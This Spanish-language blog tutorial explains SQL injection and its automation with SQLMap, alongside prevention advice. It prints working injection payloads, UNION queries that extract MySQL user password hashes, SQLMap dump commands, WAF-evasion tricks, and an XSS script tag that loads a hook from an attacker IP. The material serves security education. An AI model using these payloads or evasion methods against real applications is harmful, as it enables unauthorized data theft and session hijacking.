Introducción
Las vulnerabilidades web siguen siendo uno de los mayores riesgos para la seguridad informática de cualquier organización. Entre ellas, la inyección SQL es una de las técnicas más antiguas y efectivas que atacantes emplean para comprometer bases de datos, acceder a información sensible y tomar control de aplicaciones web. A pesar de ser ampliamente conocida, muchas aplicaciones aún presentan fallos que permiten este tipo de ataque.
Este artículo te guiará paso a paso a través de la comprensión profunda de la inyección SQL, mostrando cómo identificarla, explotarla y proteger tus sistemas. Además, exploraremos el uso práctico de la herramienta SQLMap, fundamental para automatizar la detección y explotación de estas vulnerabilidades.
¿Qué es una Inyección SQL?
La inyección SQL es un método de ataque que aprovecha la falta de validación y saneamiento de entradas de usuario en aplicaciones que interactúan con bases de datos mediante SQL. Permite al atacante insertar código malicioso en las consultas SQL, alterando su comportamiento esperado para obtener información no autorizada o manipular la base de datos.
En esencia, cuando una aplicación construye consultas SQL concatenando strings con input del usuario sin asegurar, un atacante puede inyectar comandos que serán ejecutados directamente por el motor de base de datos.
Conceptos clave de Inyección SQL
- Consulta SQL dinámica: Consultas construidas en tiempo de ejecución con parámetros externos.
- Falta de validación: Cuando la aplicación no filtra ni escapa caracteres especiales.
- Ejemplo básico: “SELECT * FROM users WHERE id = ‘1’”. Si “1” es reemplazado por “‘ OR ‘1’=’1”, la consulta cambia peligrosamente.
Tipos Comunes de Inyección SQL
Es importante conocer las distintas variantes de inyección SQL para detectar y abordar correctamente la amenaza.
Inyección SQL Clásica
El atacante inserta código SQL directamente en un parámetro, que es concatenado y ejecutado por la base de datos. Generalmente muestra mensajes de error o resultados visibles.
Inyección SQL a Ciegas (Blind SQL Injection)
En este caso, la aplicación no muestra errores o resultados de la base de datos, pero el atacante puede inferir información a través de respuestas booleanas o tiempos de respuesta, realizando consultas condicionales.
Inyección de Unión (UNION)
Se utiliza para concatenar resultados de una consulta legítima con otra maliciosa, permitiendo extraer datos de tablas adicionales.
Inyección basada en error
Aprovecha los mensajes de error para deducir la estructura y contenido de la base de datos.
Análisis paso a paso de una vulnerabilidad de inyección SQL
Para comprender cómo ocurre una inyección SQL, analizamos una aplicación web vulnerada que recibe un parámetro “ID” para mostrar información de un usuario.
Ejemplo de consulta vulnerable:
SELECT first_name, last_name FROM users WHERE id = '1'
Si el parámetro no es validado, un atacante podría enviar:
1' OR '1'='1
Modificando la consulta a:
SELECT first_name, last_name FROM users WHERE id = '1' OR '1'='1'
Lo que siempre devolverá datos, porque ‘1’=’1′ es verdadero.
Comprobación de vulnerabilidad mediante comillas
Al insertar un apóstrofe (‘) en la consulta, es fácil detectar errores de sintaxis que indican un fallo de validación. Ejemplo:
1'
Si genera un error SQL, la entrada es vulnerable.

Fundamentos básicos de consultas SQL para la explotación
Antes de realizar o protegerse contra inyecciones es esencial dominar comandos básicos:
- SHOW DATABASES; — Lista bases de datos disponibles.
- USE nombre_base; — Cambia contexto a base específica.
- SHOW TABLES; — Lista tablas dentro de una base de datos.
- DESCRIBE tabla; — Muestra estructura de la tabla y campos.
- SELECT campos FROM tabla; — Consulta para tomar datos.
Enumeración y extracción manual de información
Una vez identificada la vulnerabilidad, el atacante puede enumerar los elementos internos, por ejemplo:
UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','mysql','performance_schema','sys');
Además, para descubrir columnas específicas:
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
Este proceso manual es útil para entender la estructura interna y planificar ataques más avanzados.
¿Quieres ver cómo se explotan estas vulnerabilidades de forma práctica? Este video complementa los conceptos aquí explicados con ejemplos reales y claros.
Uso de SQLMap para la automatización de ataques
SQLMap es una herramienta open source que automatiza la detección y explotación de inyecciones SQL. Facilita el proceso al identificar parámetros vulnerables, enumerar bases de datos, tablas, columnas, y extraer datos valiosos mediante técnicas avanzadas.
Permite además evadir sistemas de detección, autenticación por cookies y múltiples motores de bases.
Pasos para usar SQLMap
- Identificar la URL vulnerable: Por ejemplo, http://victima.com/product.php?id=1
- Capturar cookies o autenticación: Se puede proporcionar mediante la opción
--cookie
. - Escaneo de vulnerabilidad: Ejecutar
sqlmap -u "URL" --cookie="cookie" --batch --dbs
para detectar bases de datos. - Enumerar tablas:
sqlmap -u "URL" -D nombre_base --tables
- Enumerar columnas:
sqlmap -u "URL" -D nombre_base -T nombre_tabla --columns
- Extraer datos:
sqlmap -u "URL" -D nombre_base -T nombre_tabla -C columna1,columna2 --dump
Opciones útiles de SQLMap
--level
y--risk
: para definir la profundidad y riesgos del escaneo.--technique
: seleccionar técnicas específicas (e.g. UNION, Boolean-based, Time-based).--tamper
: scripts para evadir IDS y WAF.--threads
: para acelerar escaneo con múltiples hilos.
Buenas prácticas para prevenir Inyección SQL
Prevenir la inyección SQL es fundamental para mantener la integridad y confidencialidad de la información. Estas son las medidas recomendadas:
Validación y escape de entradas
Validar rigurosamente todas las entradas recibidas y aplicar técnicas de escape adecuadas para caracteres especiales es una barrera básica pero fundamental.
Uso de consultas parametrizadas (Prepared Statements)
Este enfoque evita concatenar directamente strings en las consultas, utilizando parámetros seguros proporcionados por el controlador de base de datos.
Principio de mínimos privilegios
Configurar usuarios y roles en la base de datos con permisos estrictos y limitados reduce el impacto si se compromete la aplicación.
Monitoreo y alertas
Implementar sistemas para detectar patrones de inyección o intentos de manipulación en consultas, así como errores inusuales, ayuda a prevenir ataques en tiempo real.
Detección manual y análisis de errores SQL
La observación de mensajes de error es una poderosa herramienta para detectar vulnerabilidades. Cuando la aplicación devuelve errores con detalles de sintaxis SQL, es muy probable que sea vulnerable.
Ejemplo de mensaje típico:
SQL syntax error near '
Ante esto, la modificación del parámetro para producir o evitar errores puede confirmar la vulnerabilidad.

Errores frecuentes y su significado
Error | Causa probable | Implicación para seguridad |
---|---|---|
Syntax error near unexpected token | Entrada no escapada interrumpe estructura SQL | Alta probabilidad de inyección SQL |
Unknown column | Intento de acceso a columna inexistente | Posible enumeración de columnas |
No database selected | Consulta sin indicar base de datos | Revela estructura interna |
Permission denied | Intento de acceso a tablas restringidas | Requiere privilegios para explotación avanzada |
Inyección SQL a Ciegas: Técnicas y Ejemplos
A diferencia de la inyección clásica, esta variante no genera mensajes ni muestra resultados que confirmen la explotación. Para determinar la vulnerabilidad, se emplean técnicas basadas en:
- Condicionales booleanas, observando si la página responde diferente según la condición.
- Retraso temporal, donde se fuerza a la base de datos a esperar (sleep) y se mide el tiempo de respuesta.
Ejemplo booleano:
id=1 AND 1=1 --
vs.
id=1 AND 1=2 --
Si la respuesta difiere, se confirma vulnerabilidad.
Evadiendo Sistemas de Detección de Intrusos (IDS) con SQLMap y técnicas manuales
Muchos sitios implementan IDS y Web Application Firewalls (WAF) para detectar patrones comunes de ataques SQL. Sin embargo, existen técnicas para evadirlos y que SQLMap permite aplicar con los siguientes puntos:
- Utilizar comentarios: para romper firmas conocidas:
OR/**/1=1
- Variar mayúsculas/minúsculas: los IDS son sensibles a patrones estáticos.
- Uso de codificaciones: como CHAR() o concatenaciones para evitar detecciones.
- Empleo de payloads personalizados: con el parámetro
--tamper
de SQLMap.
Estas técnicas requieren ensayo y error, pero mejoran la probabilidad de éxito sin ser detectados.
Cross Site Scripting (XSS) y su relación con SQL Injection
Una vez obtenida la información sensible vía inyección SQL, es posible realizar ataques complementarios, como Cross Site Scripting (XSS), para robar sesiones u obtener mayor control.
Por ejemplo, inyectar scripts maliciosos en campos visibles por otros usuarios que ejecutan código en su navegador.
Ejemplo de payload XSS
<script src="http://IP_ATACANTE:3000/hook.js" type="text/javascript"></script>
Esto puede causar que la víctima envíe cookies, información o incluso quede comprometida remotamente.
Seguridad en servidores MySQL y privilegios críticos
Gran parte del éxito en ataques SQL depende de la configuración segura del servidor. Algunos puntos decisivos son:
- Privilegios de usuarios: deben restringirse al mínimo necesario.
- Contraseñas almacenadas: deben estar hasheadas correctamente (idealmente no en texto plano).
- Acceso a ficheros del sistema: debe estar prohibido para usuarios de bases de datos.
En escenarios inseguros, es posible incluso acceder a archivos del sistema operativo, como el archivo de contraseñas (/etc/shadow
en sistemas Linux), si el usuario MySQL tiene permisos excesivos.
Manejo de bases de datos comunes y estructuras relevantes para la explotación
Las bases de datos MySQL incluyen esquemas internos clave para explotar la información:
Base de Datos | Descripción |
---|---|
mysql | Contiene configuraciones y usuarios de MySQL |
information_schema | Metadatos de todas las bases y tablas del servidor |
performance_schema | Información de rendimiento |
nombre_usuario | Base de datos de la aplicación en explotación |
Las tablas users
y campos user
, password
son los objetivos principales.
Ejemplo práctico para obtener usuario y password con UNION SELECT
Si sabemos que la consulta original tiene dos columnas visibles, realizamos:
' UNION SELECT user, password FROM mysql.user--
Devolviendo usuario y contraseña encriptada de MySQL. Con este método se puede enumerar usuarios y seguir escalando ataque.
Errores típicos y medidas para solucionar problemas comunes
Error: Diferente número de columnas
Cuando se usa UNION, debe coincidir el número de columnas de la consulta original y la inyección.

Solución: Probar con ORDER BY
para identificar el número de columnas y usar NULL para completar el UNION.
Error: Sin resultados o página en blanco
Puede deberse a filtros en la aplicación o a SQL Injection a Ciegas.
Solución: Utilizar técnicas booleanas, basadas en tiempo o herramienta automatizada.
Problemas con autenticación y cookies
Muchas aplicaciones requieren autenticación para acceder al parámetro vulnerable.
Solución: Capturar la cookie de sesión y pasarla a SQLMap con --cookie
.
Palabras clave relacionadas y consejos de aplicación
Inyección SQL
Es el corazón del artículo y debe entenderse como una vulnerabilidad crítica que permite manipular consultas.
Consejo: Siempre validar todas las entradas y usar consultas parametrizadas.
SQLMap
Herramienta indispensable para pruebas de penetración y auditorías de seguridad.
Consejo: Familiarizarse con comandos clave para aplicar pruebas automatizadas eficientes.
Enumeración
Proceso mediante el cual se extrae información estructural, como bases, tablas y columnas.
Consejo: Planificar la enumeración en fases para evitar detecciones.
Error SQL
Son indicios clave para detectar vulnerabilidades de forma manual.
Consejo: Configurar las aplicaciones para no mostrar errores en producción.
Blind SQL Injection
Técnica avanzada que requiere paciencia y métodos indirectos para extraer datos.
Consejo: Utilizar técnicas de inyección basadas en tiempo y booleanas para encontrar información oculta.
Prepared Statements
Mecanismo para prevenir inyección SQL con consultas parametrizadas.

Consejo: Adoptar siempre esta práctica de programación segura en toda capa de acceso a datos.
Cross Site Scripting (XSS)
Un ataque complementario que puede derivar de una inyección exitosa.
Consejo: Escapar adecuadamente el contenido mostrado en el navegador para evitar ataques.
WAF (Web Application Firewall)
Dispositivo o aplicación que protege contra ataques web incluyendo inyección SQL.
Consejo: Complementar WAF con buenas prácticas en código y no confiar únicamente en él.
Preguntas frecuentes (FAQ)
¿Por qué me sale un error de sintaxis cuando pongo una comilla simple (‘) en la URL?
Este error indica que la entrada no está siendo correctamente validada ni escapada en la consulta SQL, lo que sugiere vulnerabilidad a inyecciones SQL. La comilla simple interrumpe la estructura del query generando error.
¿Cómo puedo determinar cuántas columnas tiene una consulta vulnerable?
Se puede usar el método ORDER BY
incrementando los números hasta obtener un error, o hacer pruebas con UNION SELECT NULL, NULL, …
añadiendo columnas hasta que no dé error. Esto permite saber cuántas columnas “espera” la consulta original.
¿Por qué no tengo resultados al hacer inyección SQL a ciegas?
Porque la aplicación no muestra mensajes ni datos derivados de las consultas. En estos casos se utilizan técnicas booleanas o temporizadas para inferir información sin que la aplicación revele errores.
¿SQLMap es legal de usar?
SQLMap es una herramienta legítima de auditoría y pruebas de seguridad. Debe usarse únicamente en entornos propios o con autorización explícita para no incurrir en actividades ilegales.
¿Qué es la técnica UNION SELECT y cuándo se usa?
Es un método para combinar resultados de dos consultas SQL. Se utiliza comúnmente para mostrar datos arbitrarios de otras tablas al unirlos con la consulta original en inyección SQL.
¿Cómo proteger mi aplicación contra inyección SQL?
Las recomendaciones básicas son:
- Usar consultas preparadas o parametrizadas.
- Validar y sanitizar todas las entradas.
- Aplicar el principio de mínimos privilegios en la base de datos.
- Evitar mostrar mensajes detallados de error en producción.
¿Se puede detectar una inyección SQL solo con pruebas manuales?
Sí, pero es más lento y propenso a errores. Herramientas automatizadas como SQLMap aceleran y facilitan el análisis profundo, siendo recomendadas para auditorías completas.
¿Qué diferencia hay entre inyección SQL y XSS?
La inyección SQL afecta la base de datos y la consulta de información, mientras que XSS inyecta código malicioso en el navegador del usuario final. Ambos pueden ser complementarios para comprometer una aplicación.
¿Qué hacer si detecto que mi sistema tiene una inyección SQL?
Lo primero es corregir el código comprometido, implementar un plan de mitigación y auditoría completo. Considerar realizar un pentest para evaluar el impacto y monitorear accesos para detectar posibles brechas.
¿Cómo trabaja SQLMap con cookies y sesiones?
SQLMap permite enviar cookies de sesión para autenticarse en la aplicación y así evaluar parámetros protegidos. Esto se logra pasando las cookies con la opción --cookie
. Es fundamental para vulnerabilidades presentes solo tras login.
Conclusión y llamado a la acción
La inyección SQL sigue siendo uno de los principales vectores de ataque y vulnerabilidad en aplicaciones web. Su conocimiento profundo, desde la teoría hasta la práctica con herramientas como SQLMap, es indispensable para cualquier profesional o empresa preocupada por la seguridad.

La prevención requiere disciplina en el desarrollo, revisiones constantes y controles de seguridad integrales. Si bien este artículo ofrece una base completa para entender y detectar la inyección SQL, nada sustituye la experiencia y el apoyo profesional para proteger tus activos digitales.
¿Querés mantenerte actualizado con las últimas tendencias en automatización, inteligencia artificial y transformación digital? Visitá nuestro blog de Código6 y descubrí guías, casos de éxito y noticias relevantes para potenciar tu empresa. Ingresá al blog y explorá los recursos más recientes.
Leave A Comment